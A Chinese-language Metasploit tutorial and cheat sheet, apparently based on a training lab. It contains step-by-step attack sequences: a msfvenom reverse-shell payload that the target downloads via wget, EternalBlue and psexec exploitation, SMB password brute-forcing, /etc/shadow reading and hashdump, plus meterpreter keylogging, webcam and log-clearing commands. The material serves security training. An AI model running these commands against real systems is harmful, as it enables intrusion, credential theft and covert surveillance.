banner
NEWS LETTER

Metasploit Framework

Scroll down

工具地址

Metasploit Framework


工具介绍

世界上使用最广泛的渗透测试框架
知识就是力量,尤其是在共享知识的时候。Metasploit 是开源社区与 Rapid7 合作的成果,它不仅能帮助安全团队验证漏洞、管理安全评估和提升安全意识,还能赋能并武装防御者,让他们始终领先一步(甚至两步)。

搭建流程

Kail


使用方法

初始化命令

命令 解释
systemctl start postgresql 启动 PostgreSQL 数据库面
sudo -u postgres msfdb init 初始化Metasploit数据库
sudo -u postgres msfdb delete 删除现有Metasploit数据库
msfconsole 主命令行界面

msfconsole 基础命令

基础命令 解释
workspace 显示所有工作区
workspace -a/-d <WORKSPACE_NAME> 启动时位于默认工作区,-a 添加,-d 删除工作区
workspace <WORKSPACE_NAME> 切换工作区,以 * 开头为当前工作区,单独使用显示所有工作区
ls 列出文件夹的内容
clear 清除终端屏幕
help <COMMAND> 帮助菜单,可单独使用或命令搭配 -help/-h 使用
history 查看之前输入的命令
1
2
3
4
5
6
7
8
9
10
workspace -a/-d <WORKSPACE_NAME>
workspace -a hacker
# <WORKSPACE_NAME>: 取工作区名
# 新建名为 hacker 的工作区


help <COMMAND>
help set
# <COMMAND>: set, show...
# 查看 set 命令的帮助菜单

msfconsole 数据库命令

数据库命令 解释
db_status 启动并检查数据库状态
db_nmap 所有结果都将保存到数据库中
hosts 获取数据库中与目标系统上运行的主机相关的信息
services 获取数据库中与目标系统上运行的服务相关的信息
hosts -R 将数据库中此值添加到 rhosts 参数
services -S <KEYWORDS> 搜索数据库中在环境中特定的服务
1
2
3
4
services -S <KEYWORDS>
services -S netbios
# <KEYWORDS>: 搜索关键词
# 搜索数据库中在环境中 netbios 的服务

msfconsole 操作命令

操作命令 解释
search type:<MODULE_TYPE> <KEYWORDS> 搜索特定类型的模块
search <MODULE_PATH>/<KEYWORDS> 搜索与给定搜索参数相关的模块,使用 CVE 编号、漏洞名称或目标系统进行搜索
use <MODULE_PATH>/<NUMBER> 选择要使用的模块
info <MODULE_PATH> 获取有关任何模块的更多信息,可在模块中直接使用
show <MODULE_TYPE> 列出可用模块类型
show payloads 列出可用于该特定漏洞利用程序的其他命令
set payload <NUMBER> 进行设置有效载荷,可能需要反复实验找到能用 payload
show options 列出所有可用的参数
set <PARAMETER_NAME> <VALUE> 设置模块参数的值,可多次修改
setg <PARAMETER_NAME> <VALUE> 设置全局参数值,适用于所有模块,可多次修改
unset <PARAMETER_NAME>/all 清除指定模块中设置的参数或使用 all 清除全部参数
unsetg <PARAMETER_NAME>/all 清除全局参数或使用 all 清除所有全局设置
rhosts 目标系统的单个 IP 地址或网络范围,可使用数据库导入目标
rport 目标系统上运行的端口
lhost 攻击机器的 IP 地址
lport 攻击机器上的端口
exploit/run -z 启动漏洞模块,-z 参数会在会话建立后自动将其置于后台,不会进入交互模式
sessions 查看与目标系统建立的所有会话 ID
back 离开上下文
check 检查目标系统是否存在漏洞
sessions -i <NUMBER> 与指定编号的会话进行交互
sessions -u <NUMBER> 与指定编号的会话升级为 meterpreter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
search type:<MODULE_TYPE> <KEYWORDS>
search type:auxiliary udp
# <MODULE_TYPE>: exploits, auxiliary, post, payloads, encoders, nops, evasion...
# <KEYWORDS>: udp, smb, tcp, NetBIOS...
# 将类型设置为辅助,搜索 udp 关键词


search <MODULE_PATH>/<KEYWORDS>
search auxiliary/scanner/smtp/smtp_relay
search SMTP open relay
# <MODULE_PATH>: auxiliary/scanner/smtp/smtp_relay...
# <KEYWORDS>: udp, smb, tcp, NetBIOS...
# 搜索 auxiliary/scanner/smtp/smtp_relay 模块
# 搜索 SMTP open relay 关键词


use <MODULE_PATH>/<NUMBER>
use exploit/windows/smb/ms17_010_eternalblue
use 2
# <MODULE_PATH>: exploit/windows/smb/ms17_010_eternalblue...
# <NUMBER>: 0, 1, 2...
# 使用 exploit/windows/smb/ms17_010_eternalblue 模块,选择要使用的模块路径
# 使用搜索列出的第 2 个模块,选择要使用的模块对应数字


set <PARAMETER_NAME> <VALUE>
set rhosts 192.0.2.1
# <PARAMETER_NAME>: rhosts, lhost, rport, lport, session...
# <VALUE>: 192.0.2.1...
# 在该模块中设置目标系统的 IP 地址

meterpreter 命令

命令 解释
getuid 显示当前用户身份
sysinfo 显示系统信息
getpid 显示当前进程 ID
ps 列出正在运行的进程,Meterpreter 会伪装成其他进程
migrate <PID> 将 Meterpreter 迁移到另一个进程,但可能会丢失高权限
getsystem 将当前 Meterpreter 会话权限提升到本地系统(SYSTEM)最高权限
getsystem 将当前 Meterpreter 会话权限提升到本地系统(SYSTEM)最高权限
guid 获取会话 GUID(全局唯一标识符)
help 显示帮助菜单
info 显示有关 Post 模块的信息
irb 打开交互式 Ruby shell
load <Extensions> 加载一个或多个 Meterpreter 扩展,例如 python,kiwi
run 执行脚本或 Post 模块
sessions 切换到其他会话
cd 更改目录
ls/dir 列出当前目录中的文件
pwd 打印当前工作目录
edit 编辑文件
cat 显示文件内容
rm 删除指定文件
search -f <FILE> 搜索文件
upload 上传文件或目录
download 下载文件或目录
arp 显示 ARP 缓存
ifconfig 显示网络接口信息
netstat 显示网络连接
portfwd 本地端口转发到远程服务
route 查看和修改路由表
clearev 清除事件日志
execute 执行命令
kill 终止进程
pkill 按名称终止进程
reboot 重启远程计算机
shell 进入系统命令行
shutdown 关闭远程计算机
idletime 显示用户空闲时间(秒)
keyscan_start 开始捕获击键
keyscan_dump 转储击键缓冲区
keyscan_stop 停止捕获击键
screenshare 实时查看远程桌面
screenshot 截取桌面截图
record_mic 使用麦克风录音 X 秒
webcam_chat 启动视频聊天
webcam_list 列出摄像头设备
webcam_snap 拍摄摄像头快照
webcam_stream 视频流方式播放摄像头
getsystem 提升权限为 SYSTEM
hashdump 转储安全帐户管理器 (SAM) 数据库密码哈希
shell 将当前会话移至 shell
background/Ctrl + Z 将当前会话移至后台并返回 meterpreter
exit 终止 Meterpreter 会话
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
migrate <PID>
migrate 720
# <PID>: 1, 2, 3, 4...
# 将 Meterpreter 迁移到另一个 PID 为 720 的进程,但可能会丢失高权限


load <Extensions>
load priv
# <Extensions>: python, priv...
# 把 priv 扩展加载进 Meterpreter,会多出一批与权限/提权相关的命令


search -f <FILE>
search -f file.txt
# <FILE>: file.txt, *file* ...
# 搜索目标系统中 file.txt 的所在位置,可以使用 * * 进行模糊匹配搜索

msfvenom 命令

命令 解释
msfvenom -l payloads 列出可使用的 payload
msfvenom --list formats 列出可创建的多种格式
msfvenom -p <PAYLOAD_PATH> LHOST=<IP> LPORT=<PORT> -f <FILE_TYPE> > <FILE> 列出可创建的多种格式
1
2
3
4
5
6
7
8
msfvenom -p <PAYLOAD_PATH> LHOST=<IP> LPORT=<PORT> -f <FILE_TYPE> > <FILE>
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.0.2.1 LPORT=1234 -f elf > rev_shell.elf
# <PAYLOAD_PATH>: linux/x86/meterpreter/reverse_tcp, windows/meterpreter/reverse_tcp...
# <IP>: 192.0.2.1...
# <PORT>: 80, 443...
# <FILE_TYPE>: elf, exe, php...
# <FILE>: file.elf
# 用 msfvenom 生成一个 Linux x86 的 ELF 格式的反向连接 Payload

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msfconsole
# 启动 msfconsole

search portscan
# 列出潜在的可用端口扫描模块

use auxiliary/scanner/portscan/tcp
# 使用 auxiliary/scanner/portscan/tcp 模块

nmap -sS 192.0.2.1
# 可在 msfconsole 执行 nmap 扫描

search NetBIOS
# 搜索关于 NetBIOS 的模块

use auxiliary/scanner/netbios/nbname
# 使用 auxiliary/scanner/netbios/nbname 模块

show options
# 显示选项设置

set rhosts 192.0.2.1
# 设置目标 IP 为 192.0.2.1

run
# 运行

back
# 返回
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msfconsole
# 启动 msfconsole

search http_version
# 搜索关于 http_version 模块

use auxiliary/scanner/http/http_version
# 使用 auxiliary/scanner/http/http_version 模块

set rhost 192.0.2.1
# 设置目标 IP 为 192.0.2.1

set rport 8000
# 设置目标端口为 8000

run
# 运行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
msfconsole
# 启动 msfconsole

search smb_login
# 搜索关于 smb_login 模块

use auxiliary/scanner/smb/smb_login
# 使用 auxiliary/scanner/smb/smb_login 模块

set rhosts 192.0.2.1
# 设置目标 IP 为 192.0.2.1

set smbuser cypher
# 设置目标 smbuser 为 cypher

set pass_file /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
# 设置密码字典路径为 /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt

run
# 运行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.0.2.1 LPORT=1234 -f elf > rev_shell.elf
# 用 msfvenom 生成一个 Linux 平台名为 rev_shell.elf 的反向连接 Payload, 本地IP 为 192.0.2.1,端口为 1234

python3 -m http.server 9000
# 启动 python 简单服务器 9000 端口

wget http://192.0.2.1:9000/rev_shell.elf
# 目标机器下载 rev_shell.elf

chmod +x rev_shell.elf
# 目标机器赋予文件权限

msfconsole
# 启动 msfconsole

use exploit/multi/handler
# 使用 exploit/multi/handler 模块准备接收反向连接

set payload linux/x86/meterpreter/reverse_tcp
# 设置和 msfvenom 生成的相同的 Payload

set lhost 192.0.2.1
# 设置本地 IP 为 192.0.2.1

set lport 1234
# 设置本地端口为 1234

run
# 运行

cat /etc/shadow
# 读取 /etc/shadow

Ctrl + z
# 挂起,返回 msfconsole

use post/linux/gather/hashdump
# 使用 post/linux/gather/hashdump 模块,读取 hash 密码

set session 2
# 设置 hashdump 要读取 hash 的 session

run
# 运行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
msfconsole
# 启动 msfconsole

use exploit/windows/smb/psexec
# 使用 exploit/windows/smb/psexec 模块

show payloads
# 显示可用的 payloads

set payload windows/x64/meterpreter/reverse_tcp
# 设置选择 payload

show options
# 显示设置选项

set rhosts 192.0.2.1
# 设置目标 IP 为 192.0.2.1

set smbuser cypher
# 设置目标 smbuser 为 cypher

set smbpass passwd
# 设置目标 smbupass 为 passwd

show options
# 显示设置选项再次检查

run
# 运行

getuid
# 成功连接到 meterpreter,显示当前用户身份

sysinfo
# 显示系统信息

Ctrl + z
# 挂起,返回 msfconsole

use post/windows/gather/enum_domain
# 使用 post/windows/gather/enum_domain 模块

set session 1
# 设置使用该模块的 session

run
# 运行

use post/windows/gather/enum_shares
# 使用 post/windows/gather/enum_shares 模块

set session 1
# 设置使用该模块的 session

run
# 运行

sessions -i 1
# 继续连接到 session 1,返回 meterpreter

getpid
# 获取当前 meterpreter 的 PID

ps
# 列出正在运行的进程

migrate 732
# 迁移 meterpreter 到 PID 为 732 的程序,可伪装,可监听,稳定连接

hashdump
# 直接尝试获取 hash

search -f file.txt
# 尝试搜索 file.txt 文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
msfconsole
# 启动 msfconsole

nmap -sV --script vuln 192.0.2.1
# nmap 扫描版本和漏洞

use exploit/windows/smb/ms17_010_eternalblue
# 使用 exploit/windows/smb/ms17_010_eternalblue 模块

set rhosts 192.0.2.1
# 设置目标 IP 为 192.0.2.1

set payload windows/x64/shell/reverse_tcp
# 设置反向 tcp payload

run
# 运行

Ctrl + z
# 回到 msfconsole

sessions -u 1
# 尝试提权到 meterpreter,可能会失败,多尝试几次

getuid
# 显示当前用户身份

shell
# 启动 meterpreter 的 shell

whoami
# 尝试命令

Ctrl + z
# 回到 meterpreter

migrate 700
# 迁移 meterpreter 到 PID 为 700 的 lsass.exe

hashdump
# 获取 hash 密码

search -f *file*
# 搜索系统中,模糊搜索关于 file 的文件

其他文章
请输入关键词进行搜索